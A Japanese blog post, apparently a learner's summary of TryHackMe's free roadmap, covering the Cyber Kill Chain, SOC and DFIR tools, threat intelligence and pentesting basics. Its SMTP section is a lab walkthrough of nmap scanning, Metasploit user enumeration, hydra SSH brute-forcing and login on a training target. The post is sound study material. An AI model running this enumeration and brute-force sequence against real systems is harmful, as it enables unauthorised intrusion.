🪬

THM Free Roadmapまとめ

に公開

2ヶ月かけてTry Hack Me(THM)のFree Roadmapを完走したので新しく学んだことをまとめる。

THMとは

THMはサイバーセキュリティの学習教材を提供しているウェブサイトで、CTFやセキュリティ系のキャリアを歩みたい人のファーストステップとしてよく取り上げられる。

初心者向けの基本的な概念から、クラウドセキュリティなど様々な分野の学習コンテンツが用意されており、コンテンツは更新・追加され続けている。座学だけでなく仮想環境も用意されているので、脆弱なシステムを攻撃して管理者権限を取得するなどのハッキングを実際に体験することができるのがポイント高い。また、ログインボーナスやラーニングパス機能があるので、初学者の学習を継続させる工夫がなされている。

私はCTFに出たり、セキュリティの知識を深めたいなと思って始めた。とりあえず無料で学べるラーニングパスを進めることにした。

1. Cyber Security Basics

ここではサイバーセキュリティの基本的な用語や技術者としての立ち振る舞い方について学べる。
特にCyber Kill Chainについて共有したい。

Cyber Kill Chain

ロッキード・マーチンが2011年に軍事的概念に基づいたフレームワークがCyber Kill Chainである。これは攻撃者から見たステップを定義しており、敵はこのKill Chainの全てを通る必要がある。

このKill chainは7つのステップからなる。

  1. Reconnaissance
  2. Weaponization
  3. Delivery
  4. Exploitation
  5. Installation
  6. Command & Control
  7. Actions on Objectives

1. Reconnaissance(偵察)

  • 攻撃者が標的のネットワーク構成、使用されているソフトウェア、システム、従業員の情報、脆弱性などを特定し、攻撃の計画を立てるための足がかりを収集する段階
  • 具体的な活動:
    • パッシブ偵察: 公開されている情報源(ウェブサイト、SNS、ニュース記事、公開データベースなど)から標的に気づかれることなく情報を収集しである。
    • アクティブ偵察: 標的のシステムに対して直接的な接触を試み、情報を引き出しである。標的に気づかれる可能性がありである。(例:ポートスキャン、脆弱性スキャン)

ウクライナ戦争でよく聞くようになったOSINT(Open-Source Intelligence)もこの偵察に該当する。

ツール 説明
theHarvester 電子メールを収集する以外にも、このツールは複数の公開データソースを使って名前、サブドメイン、IP、URLを収集することができる。
Hunter.io これは、ドメインに関連する連絡先情報を取得できる電子メールハンティングツールである。
OSINT Framework OSINTフレームワークは、様々なカテゴリーに基づくOSINTツールのコレクションを提供する。

2. Weaponization(武器化)

偵察段階で得られた情報に基づいて、攻撃者が使用するマルウェアや攻撃ツールを開発・準備する段階である。

  • 具体的な活動:
    • マルウェアの作成: 標的のシステムや脆弱性に特化したマルウェア(ウイルス、ワーム、ランサムウェア、トロイの木馬など)を作成またはカスタマイズしである。
    • エクスプロイトの選定と結合: 特定の脆弱性を悪用するためのエクスプロイト(脆弱性攻撃コード)を選定し、それをマルウェアに結合させである。
    • バックドアの設置: 侵入後も継続的にアクセスできるように、バックドアを設定することもありである。

このような武器を自作することは困難であるが、DarkWebなどで購入することができる。より洗練された攻撃者や国家が支援するAPT(Advanced Persistent Threat Groups)はターゲット上での検出を回避するために、独自のカスタムマルウェアを作成することが知られている。

3. Delivery(デリバリー / 運搬)

  • 概要: 武器化されたマルウェアやエクスプロイトを、標的のシステムに送り届ける段階である。
  • 具体的な活動:
    • 電子メール: フィッシングメールに悪意のある添付ファイルやリンクを含めて送信する(最も一般的)。
    • Webサイト: 悪意のあるWebサイトに誘導し、ドライブバイダウンロードによってマルウェアを感染させる。
    • USBドライブ: 物理的なメディア(USBメモリなど)を介してマルウェアを運ぶ。
    • ネットワーク経由: ネットワークの脆弱性を直接悪用して侵入する。

4. Exploitation(エクスプロイト / 脆弱性の悪用)

  • 概要: 標的のシステムに到達したマルウェアやエクスプロイトが、発見された脆弱性を実際に悪用して実行される段階である。
  • 具体的な活動:
    • ソフトウェアの脆弱性の悪用: OS、アプリケーション、Webブラウザなどの既知または未知の脆弱性を突く。
    • 設定の誤用: 誤った設定やデフォルトパスワードなどを悪用する。
    • ソーシャルエンジニアリング: ユーザーを欺いて、悪意のあるコードを実行させる。

5. Installation(インストール)

  • 概要: エクスプロイトが成功し、攻撃者がシステムへのアクセスを獲得した後、永続的なアクセスを確保するためにマルウェアやバックドアをインストールする段階である。
  • 具体的な活動:
    • 永続化メカニズムの確立: システムの再起動後もマルウェアが動作し続けるように、レジストリ、スタートアップフォルダ、サービスなどにマルウェアを登録する。
    • バックドアの設置: 将来的なアクセスを容易にするための秘密の入り口を設置する。
    • ルートキットの導入: 攻撃者の活動を隠蔽するために、システムファイルを改ざんする。

6. Command & Control(C2 / コマンド&コントロール)

  • 概要: インストールされたマルウェアが、攻撃者の制御下にある外部のサーバー(C2サーバー)と通信を確立する段階である。これにより、攻撃者は遠隔からシステムを操作できるようになりである。

  • 具体的な活動:

    • C2サーバーとの接続: マルウェアがC2サーバーに定期的に接続し、指示を受け取る。
    • データ転送: 盗んだ情報をC2サーバーに送信したり、追加のツールをダウンロードしたりする。
    • 遠隔操作: 攻撃者がC2サーバーを通じて、感染したシステムにコマンドを送信し、実行させる。
  • Command and Controll(C2):攻撃者がマルウェアに感染させたシステム(通称「ボット」や「ゾンビ」)を遠隔から制御し、指令を出すための仕組み

7. Actions on Objectives(目的達成)

  • 概要: サイバーキルチェーンの最終段階であり、攻撃者が当初の目的を達成するために行動を起こす段階である。
  • 具体的な活動:
    • データの窃盗(データ窃取): 機密情報を盗み出す。
    • システムの破壊/改ざん: システムやデータを破壊したり、機能を停止させたりする。
    • サービスの妨害: DDoS攻撃などでサービスを停止させる。
    • 身代金の要求: ランサムウェアなどでデータを暗号化し、身代金を要求する。
    • ラテラルムーブメント: 侵入したシステムを足がかりに、組織内の他のシステムへ侵入を広げる。
    • 永続性の確保: 将来的なアクセスのためのさらなる準備を行う。

サイバーキルチェーンはサイバー攻撃のライフサイクルを理解し、各段階でどのような防御策を講じれば攻撃を阻止できるかを検討するためのフレームワークとして非常に有効である。各段階で攻撃を検知・阻止できれば、最終的な被害を防ぐことが可能になりである。

例えば、

  • Reconnaissance: 異常なスキャン活動を検知したり、公開情報に注意を払う
  • Delivery: メールフィルタリング、Webフィルタリング、不正な添付ファイルのブロック
  • Exploitation: 脆弱性パッチの適用、IDS/IPS(侵入検知・防止システム)による検知
  • Installation: マルウェア対策ソフト、振る舞い検知システム
  • Command & Control: ファイアウォール、ネットワーク監視、異常な通信の検知
  • Actions on Objectives: データ損失防止(DLP)システム、インシデントレスポンス計画の実施

2. Fundamental skills

ここではLinuxやネットワークの知識を復習し、いくつかの古典的な攻撃手法について紹介している。具体的な攻撃演習が設けられているのでとても楽しかった。特にネットワークに関する知識が重要だなと感じた。

2.1 Network Services

ここでは以下のネットワークプロトコル固有の攻撃手法を学ぶことができる。

  • SMB
  • Telnet
  • FTP
  • NFS
  • SMTP
  • MySQL
コマンド 説明
nmap ネットワークの調査やセキュリティ診断に広く使われるオープンソースのコマンドラインツール。ポートスキャンでよく使われる
enum4linux WindowsおよびSamba (SMB) ホストから情報を列挙(Enumeration)するための Linux 用スクリプト。主に、ネットワークに接続されているWindowsやSambaサーバーから、認証情報やネットワークに関する詳細情報を収集する目的で使用される
hydra SSHを含む多くのサービスに対してカスタマイズ可能なパスワード攻撃を行う
Metasplit Metasploitはオープンソースの侵入テストフレームワークであり。既知の脆弱性のデータベースと、それを悪用するためのツールやスクリプトが含まれている。

特にMetasploitには驚いた。
これを使うとペネとレーションテスト、脆弱性検証、マルウェア解析までできてしまう。

Metasploitには数千種類以上ものエクスプロイトモジュールが組み込まれており、それらを使ってターゲットシステム上で実行させたい悪意のあるコードやコマンドを実際に実行できる。例えば、リモートシェル(遠隔操作を可能にするコマンドラインインターフェース)の確立、ファイルシステムの操作、キーロガーのインストールなどだ。

from: What is Metasploit? The Beginner's Guide

このようなエクスプロイトが成功し、ターゲットシステムへのアクセスが確立された後に、さらに情報を収集したり、特権を昇格させたり、ネットワーク内で横移動したりするためのモジュールも含まれているため、さらにパスワードハッシュの取得、スクリーンショットの撮影、キーロガーの設置などが可能である。このようにMetasploitは倫理的に使用される限りにおいて、ネットワークやシステムのセキュリティを向上させるための非常に価値のある十徳ナイフだ。

2.2 Exploit SMTP

これらのコマンドを組み合わせて、実際にネットワークを攻撃する例としてSMTP (Simple Mail Transfer Protocol) に対する攻撃手法を解説する

そもそもSMTPとは電子メールの送信を処理するためのプロトコルで、メールユーザーエージェントとメールサーバー間の通信を管理する。SMTPはPOP (Post Office Protocol) やIMAP (Internet Message Access Protocol)などの受信プロトコルと組み合わせて使用される。

SMTPの処理は以下の流れで進んでいく

  1. メールクライアントがSMTPサーバーに接続し、送信者・受信者のメールアドレス、メール本文、添付ファイルなどを提供する。
  2. SMTPサーバーは受信者のドメイン名を確認し、その受信者のSMTPサーバーに中継する。
  3. 受信者のSMTPサーバーは受信メールを検証し、POP/IMAPサーバーに転送する。
  4. 最終的に受信者のメールクライアントがPOP/IMAPサーバーからメールを受信できるようになる。

攻撃のフローは以下の通り。ここでは不適切に設定されたメールサーバーを想定している

  • 対象SMTPサーバーの詳細情報を収集し、ユーザー名を特定することでネットワークへの侵入経路を見つける。
  • 得られたユーザー名とパスワードを使ってSMTPサーバーにログインする。

THMの演習ではこのようなメールサーバーに対して、Metasploitの"smtp_version"モジュールを使用して、メールサーバーのバージョンを特定する。

まず、以下のようにnmapコマンドで開いているポートを特定する
target hostのIPは事前にTHMで設定されており、今回は10.10.164.141だった。

root@ip-10-10-223-158:~# nmap -p- 10.10.164.141 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-01 09:03 BST
Nmap scan report for 10.10.164.141
Host is up (0.000080s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
MAC Address: 02:4D:8A:36:D2:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds

msfconsoleコマンドを実行し、metasploitのコンソールを開く

root@ip-10-10-223-158:~# msfconsole
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
Metasploit tip: Use sessions -1 to interact with the last opened session

       =[ metasploit v6.4.55-dev-                         ]
+ -- --=[ 2502 exploits - 1287 auxiliary - 431 post       ]
+ -- --=[ 1616 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

searchコマンドでsmtp_version moduleを探す。
したにあるように、useコマンドでこのモジュールを使用できる

msf6 > search smtp_version

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/smtp/smtp_version  .                normal  No     SMTP Banner Grabber


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smtp/smtp_version

use コマンドで使用するモジュールは引数などが必要になる場合がある。
そのモジュールにどのようなオプション変数が必要か?現時点でセットされているかを確認するにはoptionsコマンドを使う。

msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > use 0
msf6 auxiliary(scanner/smtp/smtp_version) > options

Module options (auxiliary/scanner/smtp/smtp_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    25               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max o
                                       ne per host)


View the full module info with the info, or info -d command.


RHOSTSが必要だが、セットされていないことがわかる。

以下のようにsetコマンドでターゲットを設定する。最後はrunコマンドを実行するだけ

msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.10.164.141
RHOSTS => 10.10.164.141

msf6 auxiliary(scanner/smtp/smtp_version) > run
[+] 10.10.164.141:25      - 10.10.164.141:25 SMTP 220 polosmtp.home ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 10.10.164.141:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

これにより、polosmtp.homeというドメインやMTPサーバの種類やOSを取得できた!

enumlationのためにauxiliary/scanner/smtp/smtp_enumモジュールに切り替える。optionとしてUSER_FILEが必要となっている。これは攻撃対象に存在するとされるユーザーネームのリストである。

msf6 auxiliary(scanner/smtp/smtp_version) > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   RHOSTS                          yes       The target host(s), see https://
                                             docs.metasploit.com/docs/using-m
                                             etasploit/basics/using-metasploi
                                             t.html
   RPORT      25                   yes       The target port (TCP)
   THREADS    1                    yes       The number of concurrent threads
                                              (max one per host)
   UNIXONLY   true                 yes       Skip Microsoft bannered servers
                                             when testing unix users
   USER_FILE  /opt/metasploit-fra  yes       The file that contains a list of
              mework/embedded/fra             probable users accounts.
              mework/data/wordlis
              ts/unix_users.txt


View the full module info with the info, or info -d command.

ここでは、top-usernames-shortlist.txtを設定し、実行する。

msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
USER_FILE => /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > run
[*] 10.10.164.141:25      - 10.10.164.141:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.164.141:25      - 10.10.164.141:25 Users found: administrator
[*] 10.10.164.141:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ユーザーネームとしてadministratorが見つかった!
あとはパスワードを特定するだけだ。ここでは総当たり攻撃を行う。

root@ip-10-10-223-158:~# hydra -t 16 -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.164.141 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-01 09:37:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.164.141:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://administrator@10.10.164.141:22
[INFO] Successful, password authentication is supported by ssh://10.10.164.141:22
[ATTEMPT] target 10.10.164.141 - login "administrator" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 10.10.164.141 - login "administrator" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 10.10.164.141 - login "administrator" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
[ATTEMPT] target 10.10.164.141 - login "administrator" - pass "password" - 4 of 14344398 [child 3] (0/0)
...
[22][ssh] host: 10.10.164.141   login: administrator   password: alejandro
[STATUS] attack finished for 10.10.164.141 (waiting for children to complete tests)

completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-01 09:38:45


123456とかpasswordみたいによくダメな例として有名な文字列から探索し、最終的にalejandroという文字列がパスワードであることを特定している!
最後にsshでこのユーザー名とパスワードを入れるとログインできた

root@ip-10-10-223-158:~# ssh administrator@10.10.164.141
The authenticity of host '10.10.164.141 (10.10.164.141)' can't be established.
ECDSA key fingerprint is SHA256:ABheODwYmk63/Mmp8cbMSoVTNv3vcgWbzukZoGMb62I.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.164.141' (ECDSA) to the list of known hosts.
administrator@10.10.164.141's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun  1 08:46:39 UTC 2025

  System load:  0.0               Processes:           94
  Usage of /:   43.9% of 9.78GB   Users logged in:     0
  Memory usage: 33%               IP address for ens5: 10.10.164.141
  Swap usage:   0%


87 packages can be updated.
35 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Apr 22 22:21:42 2020 from 192.168.1.110

他のプロトコルの攻撃方法も似たような感じだった。
Linuxやネットワークの知識が求められるという学びがあった。

3. Security Analyst

ここではSOC(Security Operations Center)について学ぶ。
SOCは組織に対するサイバー脅威を監視・予防することが任務である。

役割の中には以下のようなものが挙げられる。

  • 最新の脅威、脅威行為者、TTP(Tactics, Techniques, and Procedures)に関するインテリジェンス・データの収集
  • ファイアウォールのシグネチャの更新
  • 既存システムの脆弱性へのパッチ適用
  • 電子メールアドレス、IPのブロックリスト化とセーフリスト化

3.1 DFIR(Digital Forensics and Incident Response)

また、このような防御策を講じてもセキュリティインシデントは起きうる。
このようなシナリオを想定し、備えるためDFIR(Digital Forensics and Incident Response) について考慮することが重要である。

DFIRはインシデントを調査するために、デジタルデバイスからForensic Artifact(犯罪科学を行う際に証拠として収集される、価値のあるデータ)を収集することをカバーしていである。これはセキュリティ・インシデントが発生したときに攻撃者が残した足跡を特定し、それを使って環境の侵害の程度を判断し、インシデントが発生する前の状態に環境を復元するのに役立つ

例えば以下のような行動を取ることができる。

  • ネットワークにおける攻撃者の活動の証拠を見つけ、実際のインシデントから誤報を選別する。
  • 侵害の範囲と時間枠を特定する。これは、関連する利害関係者とのコミュニケーションに役立ちである。
  • 侵害につながった抜け穴を見つける。将来、侵害を回避するために何を変更する必要があるのか。
  • 攻撃者の行動を理解し、攻撃者による更なる侵入の試みを事前に阻止する。
  • 攻撃者に関する情報をコミュニティと共有する。

このような手法を実現するために、いくつかDFIRツールが紹介されている(これらの使い方もTHMで学習できる)

Tool
Eric Zimmerman's tools Win環境でフォレンジックを行うためのツール
Kroll Artifact Parser and Extractor (KAPE) フォレンジックアーティファクトの収集・解析を自動化するツール
Autopsy モバイル、ハードドライブ、リムーバブルドライブなどのデジタルメディアのデータ解析に特化したツール
Volatility Win, Linuxの両OSからのメモリキャプチャを元にメモリ解析を行うツール
Redline 無性のインシデント対応ツール
Velociraptor モニタリング、フォレンジック、レスポンスの統合環境

インシデントに対するレスポンスの在り方はNISTなどが定義している。概ね以下のステップで対応を考慮する。

  1. 準備: インシデントが発生する前に、誰もがインシデントに備えて準備できるよう、準備を行う必要がある。準備には、インシデントを予防し、対応するために必要な人材、プロセス、テクノロジーを揃えることが含まれる。
  2. 特定: インシデントは、識別フェーズでいくつかの指標を通じて識別される。次に、これらの指標を分析し、偽陽性(False Positives)を見つけ出し、文書化し、関連する利害関係者に通知する。
  3. 封じ込め: このフェーズでは、インシデントを封じ込め、その影響を抑える努力をする。このフェーズの一部となるインシデントのフォレンジック分析に基づいて、脅威を封じ込めるための短期的および長期的な対策が考えられである。
  4. 根絶: 次に、脅威をネットワークから根絶する。根絶の前に、適切なフォレンジック分析が実施され、脅威が効果的に封じ込められたことを確認する必要がある。例えば、脅威行為者がネットワークに侵入するエントリー・ポイントを塞がなければ、脅威は効果的に根絶されず、行為者は再び足場を築くことができる。
  5. 回復: 脅威がネットワークから取り除かれた後、中断されていたサービスをインシデント発生前の状態に戻す。
  6. 教訓: 最後に、インシデントのレビューを実施し、インシデントを文書化し、インシデントから得られた知見に基づいて、チームが次にインシデントが発生した場合に備えてより良い準備ができるように対策を講じる。

3.2 SIEM(Security Information and Event Management system)

SIEMはネットワーク上のさまざまなエンドポイント/ネットワーク機器からデータを収集し、一元的に保管し、相関処理を行うソリューションである。

インシデントが発生した場合に各デバイスのイムログを1つ1つ調べるのは退屈な作業になりかねません。これがSIEMソリューションを導入する利点の一つである。SIEMは様々なソースからリアルタイムでログを取得するだけでなく、イベント間の相関関係、ログの検索、インシデントの調査、迅速な対応を可能にしである。SIEMが提供する主な機能には次のようなものがある

  • リアルタイムログ取り込み
  • 異常な活動に対するアラート
  • 24時間365日の監視と可視性
  • 早期検出による最新の脅威からの保護
  • データインサイトと可視化
  • 過去のインシデントを調査する能力

  • Sysmon: Sysmonは、Windows上のイベントを監視し、ログを記録するために使用されるツールで、監視とロギング・ソリューションの一部として企業で一般的に使用されている。Windows Sysinternalsパッケージの一部として、SysmonはWindowsイベントログに似ているが、さらに詳細できめ細かい制御が可能である。
  • Osquery:OsqueryはFacebookによって作成されたオープンソースのツールである。Osqueryを使用すると、セキュリティアナリスト、インシデント対応担当者、および脅威ハンターは、SQL構文を使用してエンドポイント(または複数のエンドポイント)にクエリを実行できである。Osqueryは様々なプラットフォームにインストールすることができである: Windows、Linux、macOS、FreeBSD。
  • Wazuh:Wazuhは、セキュリティエンジニアがあらゆる規模の環境に導入できる、オープンソースで自由に利用できる広範なEDRソリューションである

3.3 Threat Intelligence Tools

セキュリティ脅威の評価と調査に使用されるさまざまなOSINTツールを探求する。

Tool
Urlscan.io Urlscan.ioは、ウェブサイトのスキャンと分析を支援するために開発された無料のサービスである。ウェブサイトの閲覧やクロールを自動化し、アクティビティやインタラクションを記録しである。
MalwareBazaar マルウェアの収集と解析のためのオールインワンのデータベース
FeodoTracker このプロジェクトでAbuse.chは、Dridex、Emotes(別名Heodo)、TrickBot、QakBot、BazarLoader/BazarBackdoorに関連するボットネットのコマンド&コントロール(C&C)サーバーに関するインテリジェンスを共有することを目標としていである。これは、C&Cサーバーのデータベースを提供することで、セキュリティアナリストが不審なIPアドレスを検索して調査できるようにすることで実現していである。さらに、ボットネット感染を防止するために使用するさまざまなIPおよびIOCブロックリストと緩和情報を提供しである。
SSL Blacklist Abuse.chは、悪意のあるSSL接続を識別・検出するためにこのツールを開発した。これらの接続から、ボットネット C2 サーバーが使用する SSL 証明書が特定され、使用するために提供される denylist 上で更新される。denylistはまた、TCPレイヤー上のマルウェアボットネットC2通信の検出とブロックに役立つJA3フィンガープリントの識別にも使用されである。
URLhaus その名の通り、このツールはマルウェアの配布に使用される悪意のあるURLの共有に焦点を当てている。アナリストとして、悪質と疑われるドメイン、URL、ハッシュ、ファイルタイプをデータベースから検索し、調査を検証することができである。
ThreatFox ThreatFoxを使用すると、セキュリティ・アナリストはマルウェアに関連する侵害のインジケータを検索、共有、エクスポートできである。IOCは、MISPイベント、Suricata IDSルールセット、ドメイン・ホスト・ファイル、DNSレスポンス・ポリシー・ゾーン、JSONファイル、CSVファイルなど、さまざまな形式でエクスポートできである。
PhishTool PhishToolは、フィッシングが深刻な攻撃形態であるという認識を高め、電子メール・セキュリティに対応する手段を提供することを目指していである。電子メール分析を通じて、セキュリティアナリストは電子メールのIOCを発見し、侵害を防止し、フィッシングの封じ込めやトレーニングに使用できるフォレンジックレポートを提供することができである。
Talos Intelligence シスコは、シスコ・タロスと呼ばれるセキュリティ専門家の大規模なチームを結成し、自社製品から収集したデータを通じて、実用的なインテリジェンス、指標の可視化、新たな脅威からの保護を提供している。

ちなみにメールを使った詐欺について、フィッシングやスパム以外にも名前があることを初めて知ったのでついでに共有したい。

  • Spam - 大量に送信される迷惑メール。より悪質なスパムはMalSpamとして知られている
  • Phishing - 信頼できる組織を装い、個人を騙して機密情報を提供させるメール。
  • Spear phishing - 特定の個人または組織を標的とし、機密情報を詐取する、フィッシングの高度な形態
  • Whaling - スピアフィッシングに似ているが、Cレベルの高位者(CEO、CFOなど)を対象としており、目的は同じ
  • Smishing - 特別なテキストメッセージでモバイルユーザーをターゲットにすることにより、フィッシングをモバイルデバイスに適用する
  • Vishing - スミッシングに似ているが、ソーシャルエンジニアリング攻撃にテキストメッセージを使用する代わりに、音声通話に基づいている

4. Penetration Tester

ペネトレーション・テストとは、システムの所有者が合意した、コンピュータ・システムのセキュリティと防御の公認監査である。ペネトレーションテストは、一般的にサイバーセキュリティの花形と言える。

しかし、合法性と倫理性については常に物議を醸している。ここではホワイトハットに焦点を当てて解説する。

役割 詳細
White Hat 自分のスキルを他人のために使う善良なハッカー
Grey Hat 自分のスキルを他人のために使うことが多いが、倫理基準を常に遵守するわけではない
Black Hat 個人・組織に損害を与え、金銭的利益を得ようとするハッカー

ペネトレーション・テストを開始する前に、実施者とシステム所有者との間で合意形成が行われる。この合意を破る場合は一般的に不法なハッキング行為として認定される。
この段階で作成される文書がROE(Rules of Engagement)であり、3つの主要なセクションから構成される。

  1. Permission
  2. Test Scope
  3. Rules

SANS instituteはROEのテンプレートを提供しているので、関心があれば確認してほしい。

テストはシステム所有者がどのようなリスクを想定するか、システムの情報を実施者にどれだけ公開可能かなどによって以下の3つの手法に分類される。

また、代表的なテストメソッドがいくつか存在する。

  1. OSSTMM
  2. OWASP
  3. NIST Cybersecurity Framework 1.1
  4. NCSC CAF

ターゲットに対する索敵として、Passive reconnaissanceとActive reconnaissanceがある。

前者は直接的な関与やつながりを持たずにターゲットに関する情報を収集する。
以下のようなコマンドやツールを使うことで、効率的に偵察することができる。

  • Whois:リクエストされたドメインに関する情報を返答するコマンド
  • DNSDumpsterサブドメインが存在するか検出するツール
  • Shodan.io:IoTを中心に、IP addressやhost元、所在地やサーバーのタイプを提供するツール

後者では、ターゲットと何らかの接触をする必要がある。この接触は、通常ソーシャル・エンジニアリングの一環として、より多くの情報を収集するために、何らかの口実でターゲット企業に電話をかけたり、訪問したりすることである。あるいは、ターゲットのウェブサイトにアクセスしたり、ファイアウォールでSSHポートが開いているかどうかをチェックするなど、ターゲットのシステムに直接接続することもありである。

Discussion